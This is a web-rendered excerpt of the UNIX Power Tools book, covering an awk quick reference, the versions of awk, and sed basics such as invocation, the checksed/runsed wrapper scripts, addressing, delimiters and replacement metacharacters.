Previous: 33.9 patch: Generalized Updating of Files that Differ | UNIX Power Tools | Next: 33.11 Quick Reference: awk
33.9 patch: Generalized Updating of Files that Differ | Book Index | 33.11 Quick Reference: awk
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 33] 33.11 Quick Reference: awk

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 33.10 Quick Globals from the Command Line with qsubst Chapter 33
Batch Editing 		Next: 33.12 Versions of awk

33.11 Quick Reference: awk

This article also covers nawk and gawk (33.12). With the exception of array subscripts, values in [brackets] are optional; don't type the [ or ].

33.11.1 Command-line Syntax

awk can be invoked in two ways:

awk [options] 'script' [var=value] [file(s)]
awk [options] -f scriptfile [var=value] [file(s)]

You can specify a script directly on the command line, or you can store a script in a scriptfile and specify it with -f. In most versions, the -f option can be used multiple times. The variable var can be assigned a value on the command line. The value can be a literal, a shell variable ($name), or a command substitution (`cmd`), but the value is available only after a line of input is read (i.e., after the BEGIN statement). awk operates on one or more file(s). If none are specified (or if - is specified), awk reads from the standard input (13.1).

The other recognized options are:

-Fc

Set the field separator to character c. This is the same as setting the system variable FS. nawk allows c to be a regular expression (26.4). Each record (by default, one input line) is divided into fields by white space (blanks or tabs) or by some other user-definable field separator. Fields are referred to by the variables $1, $2,...$n. $0 refers to the entire record. For example, to print the first three (colon-separated) fields on separate lines:

    % awk -F: '{print $1; print $2; print $3}' /etc/passwd

-v var=value

Assign a value to variable var. This allows assignment before the script begins execution. (Available in nawk only.)

33.11.2 Patterns and Procedures

awk scripts consist of patterns and procedures:

pattern {procedure}

Both are optional. If pattern is missing, {procedure} is applied to all records. If {procedure} is missing, the matched record is written to the standard output.

33.11.2.1 Patterns

pattern can be any of the following:

/regular expression/
relational expression
pattern-matching expression
BEGIN
END

  • Expressions can be composed of quoted strings, numbers, operators, functions, defined variables, or any of the predefined variables described later under the section "awk System Variables."

  • Regular expressions use the extended set of metacharacters as described in article 26.4. In addition, ^ and $ can be used to refer to the beginning and end of a field, respectively, rather than the beginning and end of a record (line).

  • Relational expressions use the relational operators listed under the section "Operators" later in this article. Comparisons can be either string or numeric. For example, $2 > $1 selects records for which the second field is greater than the first.

  • Pattern-matching expressions use the operators ~ (match) and !~ (don't match). See the section "Operators" later in this article.

  • The BEGIN pattern lets you specify procedures that will take place before the first input record is processed. (Generally, you set global variables here.)

  • The END pattern lets you specify procedures that will take place after the last input record is read.

Except for BEGIN and END, patterns can be combined with the Boolean operators || (OR), && (AND), and ! (NOT). A range of lines can also be specified using comma-separated patterns:

pattern,pattern

33.11.2.2 Procedures

procedure can consist of one or more commands, functions, or variable assignments, separated by newlines or semicolons (;), and contained within curly braces ({}). Commands fall into four groups:

  • Variable or array assignments

  • Printing commands

  • Built-in functions

  • Control-flow commands

33.11.2.3 Simple Pattern-Procedure Examples

  1. Print first field of each line:

    { print $1 }

  2. Print all lines that contain pattern:

    /pattern/

  3. Print first field of lines that contain pattern:

    /pattern/{ print $1 }

  4. Print records containing more than two fields:

    NF > 2

  5. Interpret input records as a group of lines up to a blank line:

    BEGIN { FS = "\n"; RS = "" }
{ ...process records... }

  6. Print fields 2 and 3 in switched order, but only on lines whose first field matches the string URGENT:

    $1 ~ /URGENT/ { print $3, $2 }

  7. Count and print the number of pattern found:

    /pattern/ { ++x }
END { print x }

  8. Add numbers in second column and print total:

    {total += $2 };
END { print "column total is", total}

  9. Print lines that contain less than 20 characters:

    length($0) < 20

  10. Print each line that begins with Name: and that contains exactly seven fields:

    NF == 7 && /^Name:/

33.11.3 awk System Variables

nawk supports all awk variables. gawk supports both nawk and awk.
Version | Variable | Description
awk | FILENAME | Current filename
 | FS | Field separator (default is whitespace)
 | NF | Number of fields in current record
 | NR | Number of the current record
 | OFMT | Output format for numbers (default is %.6g)
 | OFS | Output field separator (default is a blank)
 | ORS | Output record separator (default is a newline)
 | RS | Record separator (default is a newline)
 | $0 | Entire input record
 | $n | nth field in current record; fields are separated by FS
nawk | ARGC | Number of arguments on command line
 | ARGV | An array containing the command-line arguments
 | ENVIRON | An associative array of environment variables
 | FNR | Like NR, but relative to the current file
 | RSTART | First position in the string matched by match function
 | RLENGTH | Length of the string matched by match function
 | SUBSEP | Separator character for array subscripts (default is \034)

33.11.4 Operators

The table below lists the operators, in order of increasing precedence, that are available in awk:
Symbol | Meaning
= += -= *= /= %= ^= | Assignment (^= only in nawk and gawk)
?: | C conditional expression (nawk and gawk)
|| | Logical OR
&& | Logical AND
~ !~ | Match regular expression and negation
< <= > >= != == | Relational operators
(blank) | Concatenation
+ - | Addition, subtraction
* / % | Multiplication, division, and modulus
+ - ! | Unary plus and minus, and logical negation
^ | Exponentiation (nawk and gawk)
++ -- | Increment and decrement, either prefix or postfix
$ | Field reference

33.11.5 Variables and Array Assignments

Variables can be assigned a value with an equal sign (=). For example:

FS = ","

Expressions using the operators +, -, *, /, and % (modulo) can be assigned to variables.

Arrays can be created with the split function (see below), or they can simply be named in an assignment statement. Array elements can be subscripted with numbers (array[1],...array[n]) or with names. For example, to count the number of occurrences of a pattern, you could use the following script:

/pattern/ { array["pattern"]++ }
END { print array["pattern"] }

33.11.6 Group Listing of awk Commands

awk commands may be classified as follows:
Arithmetic | String | Control Flow | Input/Output
Functions | Functions | Statements | Processing
atan2* | gsub* | break | close*
cos* | index | continue | delete*
exp | length | do/while* | getline*
int | match* | exit | next
log | split | for | print
rand* | sub* | if | printf
sin* | substr | return* | sprintf
sqrt | tolower* | while | system*
srand* | toupper* |  |
*Not in original awk

33.11.7 Alphabetical Summary of Commands

The following alphabetical list of statements and functions includes all that are available in awk, nawk, or gawk. Unless otherwise mentioned, the statement or function is found in all versions. New statements and functions introduced with nawk are also found in gawk.

atan2

atan2(y,x) Returns the arctangent of y/x in radians. (nawk)

break

Exit from a while, for, or do loop.

close

close(filename-expr)
close(command-expr)
In some implementations of awk, you can have only ten files open simultaneously and one pipe; modern versions allow more than one pipe open. Therefore, nawk provides a close statement that allows you to close a file or a pipe. close takes as an argument the same expression that opened the pipe or file. (nawk)

continue

Begin next iteration of while, for, or do loop immediately.

cos

cos(x) Return cosine of x (in radians). (nawk)

delete

delete array[element] Delete element of array. (nawk)

do

do
     bodywhile (expr)
Looping statement. Execute statements in body, then evaluate expr. If expr is true, execute body again. More than one command must be put inside braces ({}). (nawk)

exit

exit[expr] Do not execute remaining instructions and do not read new input. END procedure, if any, will be executed. The expr, if any, becomes awk's exit status (44.7).

exp

exp(arg) Return the natural exponent of arg.

for

for ([init-expr]; [test-expr]; [incr-expr]) command C-language-style looping construct. Typically, init-expr assigns the initial value of a counter variable. test-expr is a relational expression that is evaluated each time before executing the command. When test-expr is false, the loop is exited. incr-expr is used to increment the counter variable after each pass. A series of commands must be put within braces ({}). Example:

for (i = 1; i <= 10; i++)
     printf "Element %d is %s.\n", i, array[i]

for

for (item in array) command For each item in an associative array, do command. More than one command must be put inside braces ({}). Refer to each element of the array as array[item].

getline

getline [var][<file] or command | getline [var] Read next line of input. Original awk does not support the syntax to open multiple input streams. The first form reads input from file, and the second form reads the standard output of a UNIX command. Both forms read one line at a time, and each time the statement is executed it gets the next line of input. The line of input is assigned to $0, and it is parsed into fields, setting NF, NR, and FNR. If var is specified, the result is assigned to var and the $0 is not changed. Thus, if the result is assigned to a variable, the current line does not change. getline is actually a function and it returns 1 if it reads a record successfully, 0 if end-of-file is encountered, and -1 if for some reason it is otherwise unsuccessful. (nawk)

gsub

gsub(r,s[,t]) Globally substitute s for each match of the regular expression r in the string t. Return the number of substitutions. If t is not supplied, defaults to $0. (nawk)

if

if (condition)

      command
[else
      command]

If condition is true, do command(s), otherwise do command(s) in else clause (if any). condition can be an expression that uses any of the relational operators <, <=, ==, !=, >=, or >, as well as the pattern-matching operators ~ or !~ (e.g., if ($1 ~ /[Aa].*[Zz]/)). A series of commands must be put within braces ({}).

index

index(str,substr) Return position of first substring substr in string str or 0 if not found.

int

int(arg) Return integer value of arg.

length

length(arg) Return the length of arg.

log

log(arg) Return the natural logarithm of arg.

match

match(s,r) Function that matches the pattern, specified by the regular expression r, in the string s and returns either the position in s where the match begins or 0 if no occurrences are found. Sets the values of RSTART and RLENGTH. (nawk)

next

Read next input line and start new cycle through pattern/procedures statements.

print

print [args] [destination] Print args on output, followed by a newline. args is usually one or more fields, but may also be one or more of the predefined variables - or arbitrary expressions. If no args are given, prints $0 (the current input line). Literal strings must be quoted. Fields are printed in the order they are listed. If separated by commas (,) in the argument list, they are separated in the output by the OFS character. If separated by spaces, they are concatenated in the output. destination is a UNIX redirection or pipe expression (e.g., > file) that redirects the default standard output.

printf

format [, expression(s)] [destination] Formatted print statement. Fields or variables can be formatted according to instructions in the format argument. The number of expressions must correspond to the number specified in the format sections. format follows the conventions of the C-language printf statement. Here are a few of the most common formats:

%s

A string.

%d

A decimal number.

%n.mf

A floating-point number, where n is the total number of digits and m is the number of digits after the decimal point.

%[-]nc

n specifies minimum field length for format type c, while - left justifies value in field; otherwise value is right justified. format can also contain embedded escape sequences: \n (newline) or \t (tab) are the most common. destination is a UNIX redirection or pipe expression (e.g., > file) that redirects the default standard output. Example: Using the script:

{printf "The sum on line %s is %d.\n", NR, $1+$2}

The following input line:

5   5

produces this output, followed by a newline:

The sum on line 1 is 10.

rand

rand() Generate a random number between 0 and 1. This function returns the same series of numbers each time the script is executed, unless the random number generator is seeded using the srand( ) function. (nawk)

return

return [expr] Used at end of user-defined functions to exit the function, returning value of expression expr, if any. (nawk)

sin

sin(x) Return sine of x (in radians). (nawk)

split

split(string,array[,sep]) Split string into elements of array array[1],... array[n]. string is split at each occurrence of separator sep. (In nawk, the separator may be a regular expression.) If sep is not specified, FS is used. The number of array elements created is returned.

sprintf

sprintf (format [, expression(s)]) Return the value of expression(s), using the specified format (see printf). Data is formatted but not printed.

sqrt

sqrt(arg) Return square root of arg.

srand

srand(expr) Use expr to set a new seed for random number generator. Default is time of day. Returns the old seed. (nawk)

sub

sub(r,s[,t]) Substitute s for first match of the regular expression r in the string t. Return 1 if successful; 0 otherwise. If t is not supplied, defaults to $0. (nawk)

substr

substr(string,m[,n]) Return substring of string beginning at character position m and consisting of the next n characters. If n is omitted, include all characters to the end of string.

system

system(command) Function that executes the specified UNIX command and returns its status (44.7). The status of the command that is executed typically indicates its success (0) or failure (non-zero). The output of the command is not available for processing within the nawk script. Use command | getline to read the output of the command into the script. (nawk)

tolower

tolower(str) Translate all uppercase characters in str to lowercase and return the new string. (nawk)

toupper

toupper(str) Translate all lowercase characters in str to uppercase and return the new string. (nawk)

while

while (condition)
      command
Do command while condition is true (see if for a description of allowable conditions). A series of commands must be put within braces ({}).

- DG from O'Reilly & Associates' UNIX in a Nutshell (SVR4/Solaris)

Previous: 33.10 Quick Globals from the Command Line with qsubst | UNIX Power Tools | Next: 33.12 Versions of awk
33.10 Quick Globals from the Command Line with qsubst | Book Index | 33.12 Versions of awk
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 33] 33.12 Versions of awk

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 33.11 Quick Reference: awk Chapter 33
Batch Editing 		Next: 34. The sed Stream Editor

33.12 Versions of awk

awk was introduced as part of UNIX's seventh edition and has been part of the standard distribution ever since.

In 1985, the authors of awk extended the language, adding many useful features. Unfortunately, this new version remained inside AT&T for several years. It became a regular part of AT&T's System V as of Release 3.1. It can be found under the name of nawk (for new awk); the older version still exists under its original name.

gawk
Unfortunately, nawk is not available on all systems. The good news is that the Free Software Foundation (52.9) GNU project's version of awk, called gawk, implements all the features of the new awk.

In general, you can assume that what is true for nawk is true for gawk, unless gawk is explicitly called out. Scripts written for nawk are 100 percent compatible with gawk. If you want to use one of the nawk scripts, and don't have nawk on your system, simply change the script to invoke gawk instead.

There are a few areas where gawk has introduced gawk-specific features; however, recent versions of nawk support many of these features, suggesting that the remaining differences are really very minor. This shouldn't matter in any case, since we do supply gawk on the disc.

This book doesn't cover any of the awks in detail. The recent awks, especially, have quite a few features in common - so documentation for any one of them should help you learn the others.

In this book, we show scripts for awk as well as scripts that only work on nawk and gawk. But we barely scratch the surface of all the awks' features. The completely revised second edition of O'Reilly & Associates' sed & awk has detailed information on all of them. [2] There's also lots of documentation on the CD-ROM. Take your pick.

[2] And thanks to Arnold Robbins, co-author of the second edition, for his help with this section and other awk material in this book.

- JP, DD, TOR

Previous: 33.11 Quick Reference: awk | UNIX Power Tools | Next: 34. The sed Stream Editor
33.11 Quick Reference: awk | Book Index | 34. The sed Stream Editor
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 34] The sed Stream Editor

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 33.12 Versions of awk Chapter 34 Next: 34.2 Invoking sed

34. The sed Stream Editor

Contents:
Two Things You Must Know About sed
Invoking sed
Testing and Using a sed Script: checksed, runsed
sed Addressing Basics
Order of Commands in a Script
One Thing at a Time
Delimiting a Regular Expression
Newlines in a sed Replacement
Referencing the Search String in a Replacement
Referencing Portions of a Search String
Search & Replacement: One Match Among Many
Transformations on Text
Hold Space: The Set-Aside Buffer
Transforming Part of a Line
Making Edits Across Line Boundaries
The Deliberate Scrivener
Searching for Patterns Split Across Lines
Multiline Delete
Making Edits Everywhere Except...
The sed Test Command
Uses of the sed Quit Command
Dangers of the sed Quit Command
sed Newlines, Quoting, and Backslashes in a Shell Script
Quick Reference: sed

34.1 Two Things You Must Know About sed

If you are already familiar with global edits in other editors like vi or ex, you know most of what you need to know to begin to use sed. There are two things, though, that make it very different:

  1. It doesn't change the file it edits. It is just what its name says: a "stream ed;;itor"-designed to take a stream of data from standard input (13.1) or a file, transform it, and pass it to standard output (13.1). If you want to edit a file, you have to write a shell wrapper (34.3) to capture standard output and write it back into your original file.

  2. sed commands are implicitly global. In an editor like ex, the command:

    s/old/new/

    will change "old" to "new" only on the current line unless you use the global command or various addressing symbols to apply it to additional lines. In sed, exactly the opposite is true. A command like the one above will be applied to all lines in a file. Addressing symbols are used to limit the extent of the match. (However, like ex, only the first occurrence of a pattern on a given line will be changed unless the g flag is added to the end of the substitution command.)

If all you want to do is make simple substitutions, you're ready to go. If you want to do more than that, sed has some unique and powerful commands.

This chapter makes no attempt to cover everything there is to know about sed. Article 34.24 contains a complete quick reference to sed commands, with many examples, because we use so many sed scripts elsewhere in this book, and we need a "dictionary" so beginners can interpret them. But for the most part, this chapter contains advice on working with sed and extended explanations of how to use some of its more difficult commands.

- TOR

Previous: 33.12 Versions of awk | UNIX Power Tools | Next: 34.2 Invoking sed
33.12 Versions of awk | Book Index | 34.2 Invoking sed
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 34] 34.2 Invoking sed

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 34.1 Two Things You Must Know About sed Chapter 34
The sed Stream Editor 		Next: 34.3 Testing and Using a sed Script: checksed, runsed

34.2 Invoking sed

If you were using sed on the fly, as a stream editor (34.1), you might execute it as simply as this:

% somecommand | sed 's/old/new/' | othercommand

Given filenames, sed will read them instead of standard input:

% sed 's/old/new/' myfile

A simple script can go right on the command line. If you want to execute more than one editing command, you can use the -e option:

% sed -e 's/old/new/' -e '/bad/d' myfile

or you can use semicolons (;), which are a sed command separator:

% sed 's/old/new/; /bad/d' myfile

or (especially useful in shell scripts (1.5)) you can use the Bourne shell's ability to understand multiline commands:

sed '
s/old/new/
/bad/d' myfile

or you can put your commands into a file, and tell sed to read that file with the -f option:

% sed -f scriptfile myfile

There's only one other command-line option: -n. sed normally prints every line of its input (except those that have been deleted by the editing script). But there are times when you only want lines that your script has affected, or that you explicitly ask for with the p command. In these cases, use -n to suppress the normal output.

- TOR

Previous: 34.1 Two Things You Must Know About sed | UNIX Power Tools | Next: 34.3 Testing and Using a sed Script: checksed, runsed
34.1 Two Things You Must Know About sed | Book Index | 34.3 Testing and Using a sed Script: checksed, runsed
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 34] 34.3 Testing and Using a sed Script: checksed, runsed

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 34.2 Invoking sed Chapter 34
The sed Stream Editor 		Next: 34.4 sed Addressing Basics

34.3 Testing and Using a sed Script: checksed, runsed

All but the simplest sed scripts are often invoked from a "shell wrapper," a shell script (44.1) that invokes sed and also contains the editing commands that sed executes. A shell wrapper is an easy way to turn what could be a complex command line into a single-word command. The fact that sed is being used might be transparent to users of the command.

Two shell scripts that you should immediately arm yourself with are described here. Both use a shell for loop (44.16) to apply the same edits to any number of files. But the first just shows the changes, so you can make sure that your edits were made correctly. The second writes the edits back into the original file, making them permanent.

34.3.1 checksed

checksed
The shell script checksed automates the process of checking the edits that sed makes. It expects to find the script file, sedscr, in the current directory and applies these instructions to the input files named on the command line. The output is shown by a pager program; the default pager is more.

-
#! /bin/sh
script=sedscr

for file
do
        echo "********** < = $file    > = sed output **********"
        sed -f $script "$file" | diff "$file" -
done | ${PAGER-more}

For example:

$ cat sedscr
s/jerry@ora\.com/jpeek@jpeek.com/g
$ checksed home.html new.html
********** < = home.html    > = sed output **********
102c102
< <a href="mailto:jerry@ora.com">Email it</A> or use this form:
--
> <a href="mailto:jpeek@jpeek.com">Email it</A> or use this form:
124c124
< Page created by: <a href="mailto:jerry@ora.com">jerry@ora.com</a>
--
> Page created by: <a href="mailto:jpeek@jpeek.com">jpeek@jpeek.com</a>
********** < = new.html    > = sed output **********
22c22
< <a href="mailto:jerry@ora.com">Send comments</A> to me!
---
> <a href="mailto:jpeek@jpeek.com">Send comments</A> to me!

If you find that your script did not produce the results you expected, perfect the editing script and run checksed again.

34.3.2 runsed

runsed
The shell script runsed was developed to make changes to a file permanently. It applies your sedscr to an input file, creates a temporary file, then copies that file over the original. runsed has several safety checks:

  • It won't edit the sed script file (if you accidentally include sedscr on the command line),

  • It complains if you try to edit an empty file or something that isn't a file (like a directory),

  • If the sed script doesn't produce any output, runsed aborts instead of emptying your original file.

runsed only modifies a file if your sedscr made edits. So, the file's timestamp (16.5) won't change if the file's contents weren't changed.

Like checksed, runsed expects to find a sed script named sedscr in the directory where you want to make the edits. (Article 4.3 describes a way to keep many sed scripts.) Supply the name or names of the files to edit on the command line. Shell metacharacters (15.2) can be used to specify a set of files:

$ runsed *.html
runsed: editing home.html:
runsed: done with home.html
runsed: editing new.html:
runsed: done with new.html
runsed: all done

runsed does not protect you from imperfect editing scripts. You should use checksed first to verify your changes before actually making them permanent with runsed. (You could also modify runsed to keep backup copies of the original versions.)

- DD, JP, TOR

Previous: 34.2 Invoking sed | UNIX Power Tools | Next: 34.4 sed Addressing Basics
34.2 Invoking sed | Book Index | 34.4 sed Addressing Basics
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 34] 34.4 sed Addressing Basics

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 34.3 Testing and Using a sed Script: checksed, runsed Chapter 34
The sed Stream Editor 		Next: 34.5 Order of Commands in a Script

34.4 sed Addressing Basics

A sed command can specify zero, one, or two addresses. An address can be a line number, a line addressing symbol, or a regular expression (26.4) that describes a pattern.

  • If no address is specified, then the command is applied to each line.

  • If there is only one address, the command is applied to any line matching the address.

  • If two comma-separated addresses are specified, the command is performed on the first matching line and all succeeding lines up to and including a line matching the second address. This range may match multiple times throughout the input.

  • If an address is followed by an exclamation mark (!), the command is applied to all lines that do not match the address.

To illustrate how addressing works, let's look at examples using the delete command, d. A script consisting of simply the d command and no address:

d

produces no output since it deletes all lines.

When a line number is supplied as an address, the command affects only that line. For instance, the following example deletes only the first line:

1d

The line number refers to an internal line count maintained by sed. This counter is not reset for multiple input files. Thus, no matter how many files were specified as input, there is only one line 1 in the input stream.

Similarly, the input stream has only one last line. It can be specified using the addressing symbol, $. The following example deletes the last line of input:

$d

The $ symbol should not be confused with the $ used in regular expressions, where it means the end of the line.

When a regular expression is supplied as an address, the command affects only the lines matching that pattern. The regular expression must be enclosed by slashes (/). The following delete command:

/^$/d

deletes only blank lines. All other lines are passed through untouched.

If you supply two addresses, then you specify a range of lines over which the command is executed. The following example shows how to delete all lines surrounded by a pair of macros, in this case, .TS and .TE, that mark a table as tbl (43.15) input:

/^\.TS/,/^\.TE/d

It deletes all lines beginning with the line matched by the first pattern up to and including the line matched by the second pattern. Lines outside this range are not affected. If there is more than one table (another .TS/.TE pair after the first), those tables will also be deleted.

The following command deletes from line 50 to the last line in the file:

50,$d

You can mix a line address and a pattern address:

1,/^$/d

This example deletes from the first line up to the first blank line, which, for instance, will delete a mail header from a mail message (1.33) that you have saved in a file.

You can think of the first address as enabling the action and the second address as disabling it. sed has no way of looking ahead to determine if the second match will be made. The action will be applied to lines once the first match is made. The command will be applied to all subsequent lines until the second match is made. In the previous example, if the file did not contain a blank line, then all lines would be deleted.

An exclamation mark following an address reverses the sense of the match. For instance, the following script deletes all lines except those inside tbl input:

/^\.TS/,/^\.TE/!d

This script, in effect, extracts tbl input from a source file. (This can be handy for testing the format of tables.)

Curly braces ({}) let you give more than one command with an address. For example, to search every line of a table, capitalize the word Caution on any of those lines, and delete any line with .sp 2p:

/^\.TS/,/^\.TE/{
    s/Caution/CAUTION/g
    /^\.sp 2p/d
}

- DD from O'Reilly & Associates' sed & awk

Previous: 34.3 Testing and Using a sed Script: checksed, runsed | UNIX Power Tools | Next: 34.5 Order of Commands in a Script
34.3 Testing and Using a sed Script: checksed, runsed | Book Index | 34.5 Order of Commands in a Script
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 34] 34.5 Order of Commands in a Script

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 34.4 sed Addressing Basics Chapter 34
The sed Stream Editor 		Next: 34.6 One Thing at a Time

34.5 Order of Commands in a Script

Combining a series of edits in a script can have unexpected results. You might not think of the consequences one edit can have on another. New users typically think that sed applies an individual editing command to all lines of input before applying the next editing command. But the opposite is true. sed applies every editing command to the first input line before reading the second input line and applying the editing script to it. Because sed is always working with the latest version of the original line, any edit that is made changes the line for subsequent commands. sed doesn't retain the original. This means that a pattern that might have matched the original input line may no longer match the line after an edit has been made.

Let's look at an example that uses the substitute command. Suppose someone quickly wrote the following script to change pig to cow and cow to horse:

s/pig/cow/
s/cow/horse/

The first command would change pig to cow as expected. However, when the second command changed cow to horse on the same line, it also changed the cow that had been a pig. So, where the input file contained pigs and cows, the output file has only horses!

This mistake is simply a problem of the order of the commands in the script. Reversing the order of the commands - changing cow into horse before changing pig into cow - does the trick.

Some sed commands change the flow through the script. For example, the N command (34.15) reads another line into the pattern space without removing the current line, so you can test for patterns across multiple lines. Other commands tell sed to exit before reaching the bottom of the script or to go to a labeled command. sed also maintains a second temporary buffer called the hold space. You can copy the contents of the pattern space to the hold space and retrieve it later. The commands that make use of the hold space are discussed in article 34.13 and other articles after it.

- DD from O'Reilly & Associates' sed & awk

Previous: 34.4 sed Addressing Basics | UNIX Power Tools | Next: 34.6 One Thing at a Time
34.4 sed Addressing Basics | Book Index | 34.6 One Thing at a Time
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 34] 34.6 One Thing at a Time

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 34.5 Order of Commands in a Script Chapter 34
The sed Stream Editor 		Next: 34.7 Delimiting a Regular Expression

34.6 One Thing at a Time

I find that when I begin to tackle a problem using sed, I do best if I make a mental list of all the things I want to do. When I begin coding, I write a script containing a single command that does one thing. I test that it works, then I add another command, repeating this cycle until I've done all that's obvious to do. I say what's obvious because my list is not always complete, and the cycle of implement-and-test often adds other items to the list.

It may seem to be a rather tedious process to work this way, and indeed there are a number of scripts where it's fine to take a crack at writing the whole script in one pass and then begin testing it. However, the one-step-at-a-time is highly recommended for beginners because you isolate each command and get to easily see what is working and what is not. When you try to do several commands at once, you might find that when problems arise you end up recreating the recommended process in reverse; that is, removing commands one by one until you locate the problem.

- DD from O'Reilly & Associates' sed & awk

Previous: 34.5 Order of Commands in a Script | UNIX Power Tools | Next: 34.7 Delimiting a Regular Expression
34.5 Order of Commands in a Script | Book Index | 34.7 Delimiting a Regular Expression
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 34] 34.7 Delimiting a Regular Expression

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 34.6 One Thing at a Time Chapter 34
The sed Stream Editor 		Next: 34.8 Newlines in a sed Replacement

34.7 Delimiting a Regular Expression

Whether in sed or vi, when using the substitution command, a delimiter is required to separate the search pattern from the replacement string. The delimiter can be any character except blank or a newline (vi seems to be more restrictive than sed), although the usual practice is to use the slash (/) as a delimiter (for example, s/search/replacement/).

When either the search pattern or the replacement string contains a slash, it is easier to change the delimiter character rather than escape the slash. Thus, if the pattern was attempting to match UNIX pathnames, which contain slashes, you could choose another character, such as a colon, as the delimiter:

s:/usr/mail:/usr2/mail:

Note that the delimiter appears three times and is required after the replacement. Regardless of which delimiter you use, if it does appear in the regular expression, use a backslash (\) to escape it.

If you don't know what characters the search pattern might have (in a shell program that handles any kind of input, for instance), the safest choice for the delimiter can be a control character. Article 45.35 shows how to make and use a control character as the delimiter in a shell script - without having to store the control character in the file.

You can use any delimiter for a pattern address (not just a slash). Put a backslash (\) before the first delimiter. For example, to delete all lines containing /usr/mail, using a colon (:) as the delimiter:

\:/usr/mail:d

- DD, JP

Previous: 34.6 One Thing at a Time | UNIX Power Tools | Next: 34.8 Newlines in a sed Replacement
34.6 One Thing at a Time | Book Index | 34.8 Newlines in a sed Replacement
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 34] 34.8 Newlines in a sed Replacement

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 34.7 Delimiting a Regular Expression Chapter 34
The sed Stream Editor 		Next: 34.9 Referencing the Search String in a Replacement

34.8 Newlines in a sed Replacement

The backslash (\) in the replacement string of the sed substitution command is generally used to escape other metacharacters, but it is also used to include a newline in a replacement string.

Given the following input line where each item is separated by a tab:

Column1     Column2    Column3     Column4

we can replace the second tab character on each line with a newline character:

2
s/[TAB]/\
/2

Note that no spaces are permitted after the backslash. This script produces the following result:

Column1     Column2
Column3     Column4

Another example comes from the conversion of a file for troff to an ASCII input format for Ventura Publisher(TM). It converts the following line for troff:

.Ah "Major Heading"

to a similar line for Ventura:

@A HEAD = Major Heading

The twist in this problem is that the line needs to be preceded and followed by a blank line. It is an example of writing a multiline replacement string:

/^\.Ah/{
s/\.Ah */\
\
@A HEAD = /
s/"//g
s/$/\
/
}

The first substitute command replaces .Ah with two newlines and @A HEAD = . Each backslash at the end of the line is necessary to escape the newline. The second substitution removes the quotation marks. The last command matches the end of line in the pattern space (not the embedded newlines) and adds a newline after it.

- DD from O'Reilly & Associates' sed & awk, Chapter 5

Previous: 34.7 Delimiting a Regular Expression | UNIX Power Tools | Next: 34.9 Referencing the Search String in a Replacement
34.7 Delimiting a Regular Expression | Book Index | 34.9 Referencing the Search String in a Replacement
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 34] 34.9 Referencing the Search String in a Replacement

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 34.8 Newlines in a sed Replacement Chapter 34
The sed Stream Editor 		Next: 34.10 Referencing Portions of a Search String

34.9 Referencing the Search String in a Replacement

As a metacharacter, the ampersand (&) represents the extent of the pattern match, not the line that was matched. For instance, you might use it to match a word and surround it with troff requests. The following example surrounds a word with point-size requests:

s/UNIX/\\s-2&\\s0/g

Because backslashes are also replacement metacharacters, two backslashes are necessary to output a single backslash. The & in the replacement string refers to UNIX. If the input line is:

on the UNIX Operating System.

then the substitute command produces:

on the \s-2UNIX\s0 Operating System.

The ampersand is particularly useful when the regular expression matches variations of a word. It allows you to specify a variable replacement string that corresponds to what was actually matched. For instance, let's say that you wanted to surround with parentheses any cross reference to a numbered section in a document. In other words, any reference such as See Section 1.4 or See Section 12.9 should appear in parentheses, as (See Section 12.9). A regular expression can match the different combination of numbers, so we use & in the replacement string and surround whatever was matched:

s/See Section [1-9][0-9]*\.[1-9][0-9]*/(&)/

The ampersand makes it possible to reference the entire match in the replacement string.

In the next example, the backslash is used to escape the ampersand, which appears literally in the replacement section:

s/ORA/O'Reilly & Associates, Inc./g

It's easy to forget about the ampersand appearing literally in the replacement string. If we had not escaped it in this example, the output would have been O'Reilly ORA Associates, Inc.

- DD from O'Reilly & Associates' sed & awk, Chapter 5

Previous: 34.8 Newlines in a sed Replacement | UNIX Power Tools | Next: 34.10 Referencing Portions of a Search String
34.8 Newlines in a sed Replacement | Book Index | 34.10 Referencing Portions of a Search String
